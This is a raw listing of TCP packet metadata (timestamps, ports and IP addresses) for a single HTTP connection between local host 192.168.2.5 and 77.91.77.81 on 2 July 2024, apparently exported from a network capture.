Jul 2, 2024 04:13:06.605809927 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.605820894 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.605829000 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.605834961 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.605839014 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.605859995 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.605875015 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.605880022 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.605910063 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.605976105 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.605988979 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.606000900 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.606012106 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.606019974 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.606024027 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.606040955 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.606065035 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.606118917 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.606131077 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.606142044 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.606153011 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.606153965 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.606164932 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.606175900 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.606178999 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.606188059 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.606199980 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.606204033 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.606209993 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.606220961 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.606235027 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.606259108 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.635952950 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.635966063 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.635977030 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.636049032 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.636127949 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.636140108 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.636151075 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.636162996 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.636173964 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.636181116 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.636192083 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.636203051 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.636204958 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.636217117 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.636228085 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.636233091 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.636240959 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.636255026 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.636256933 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.636265993 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.636295080 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.667906046 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.667942047 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.667956114 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.667996883 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.668028116 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.668041945 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.668049097 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.668061018 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.668061972 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.668075085 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.668087006 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.668102980 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.668123960 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.668150902 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.668163061 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.668173075 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.668184996 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.668200016 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.668203115 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.668207884 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.668215990 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.668227911 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.668231964 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.668240070 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.668250084 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.668255091 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.668270111 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.668282032 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.668279886 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.668291092 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.668293953 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.668317080 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.668318987 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.668330908 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.668344021 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.668346882 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.668368101 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.668395996 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.697474957 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.697532892 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.697542906 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.697544098 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.697561979 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.697573900 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.697594881 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.697607994 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.697637081 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.697648048 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.697659016 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.697678089 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.697690964 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.697772980 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.697783947 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.697798014 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.697808981 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.697817087 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.697820902 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.697832108 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.697858095 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.697864056 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.697870016 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.697896004 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.697923899 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.697972059 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.697982073 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.697994947 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.698004961 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.698010921 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.698018074 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.698019028 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.698035955 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.698046923 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.698048115 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.698065996 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.698071957 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.698086023 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.698113918 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.698246956 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.698257923 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.698270082 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.698287010 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.698287964 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.698299885 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.698311090 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.698323011 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.698326111 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.698326111 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.698334932 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.698347092 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.698359966 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.698370934 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.698369980 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.698369980 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.698389053 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.698390007 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.698405981 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.698410034 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.698416948 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.698429108 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.698431015 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.698441029 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.698446035 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.698451996 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.698463917 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.698474884 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.698482037 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.698482037 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.698487043 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.698498011 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.698530912 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.698530912 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.698544979 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.699176073 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.699191093 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.699203014 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.699224949 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.699240923 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.699326992 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.699338913 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.699350119 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.699361086 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.699372053 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.699397087 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.700005054 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.700021982 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.700042963 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.700054884 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.700057983 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.700068951 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.700071096 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.700082064 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.700090885 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.700093985 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.700113058 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.700139999 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.700160980 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.700206041 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.700225115 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.700275898 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.700292110 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.700340033 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.700367928 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.700380087 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.700401068 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.700412989 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.700412989 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.700423956 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.700436115 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.700444937 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.700453997 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.700464010 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.700464964 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.700476885 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.700503111 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.700503111 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.700541019 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.700568914 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.700581074 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.700591087 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.700602055 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.700622082 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.700628996 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.700639963 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.700640917 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.700650930 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.700661898 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.700663090 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.700685978 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.700689077 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.700697899 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.700712919 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.700741053 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.730562925 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.730578899 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.730591059 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.730642080 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.730670929 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.730720043 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.730739117 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.730751038 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.730761051 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.730761051 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.730772972 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.730776072 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.730784893 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.730796099 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.730797052 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.730808973 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.730819941 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.730819941 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.730832100 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.730842113 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.730844021 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.730854988 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.730889082 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.762434006 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.762459993 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.762474060 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.762487888 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.762500048 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.762541056 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.762554884 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.762573004 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.762583971 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.762594938 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.762608051 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.762692928 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.762696028 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.762711048 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.762723923 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.762727022 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.762736082 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.762747049 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.762748957 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.762769938 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.762779951 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.762784004 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.762795925 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.762808084 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.762811899 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.762819052 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.762829065 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.762855053 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.762872934 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.792068005 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.792081118 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.792103052 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.792114019 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.792126894 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.792139053 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.792150974 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.792253017 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.792304993 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.792306900 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.792315006 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.792320967 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.792340994 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.792351007 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.792351961 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.792361975 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.792366982 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.792373896 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.792387009 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.792392969 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.792412043 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.792427063 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.792431116 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.792442083 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.792443037 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.792453051 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.792464972 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.792465925 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.792486906 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.792500019 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.792506933 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.792506933 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.792510986 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.792522907 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.792540073 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.792558908 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.792562962 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.792571068 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.792583942 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.792613983 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.792633057 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.792664051 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.792670012 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.792721987 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.792733908 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.792746067 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.792757988 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.792762041 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.792772055 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.792772055 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.792814970 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.792836905 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.792845964 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.792856932 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.792867899 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.792884111 CEST	80	54802	77.91.77.81	192.168.2.5
